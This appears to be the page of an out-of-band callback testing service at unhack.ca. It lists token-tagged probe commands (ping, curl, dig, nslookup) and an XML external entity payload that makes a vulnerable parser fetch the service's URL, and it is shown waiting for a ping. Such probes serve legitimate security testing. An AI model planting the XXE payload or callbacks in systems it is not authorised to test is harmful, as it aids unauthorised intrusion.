$ ping -c1 -p 0096d0e0ff4fb0b53a36ac72d86f2300 unhack.ca
 
$ curl http://unhack.ca/p/96d0e0ff4fb0b53a36ac72d86f23
 
$ dig 96d0e0ff4fb0b53a36ac72d86f23 @unhack.ca
 
$ dig 96d0e0ff4fb0b53a36ac72d86f23.ns.unhack.ca
 
C:\> nslookup 96d0e0ff4fb0b53a36ac72d86f23 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/96d0e0ff4fb0b53a36ac72d86f23">]>
    <foo>&xxe;</foo>
Waiting for ping...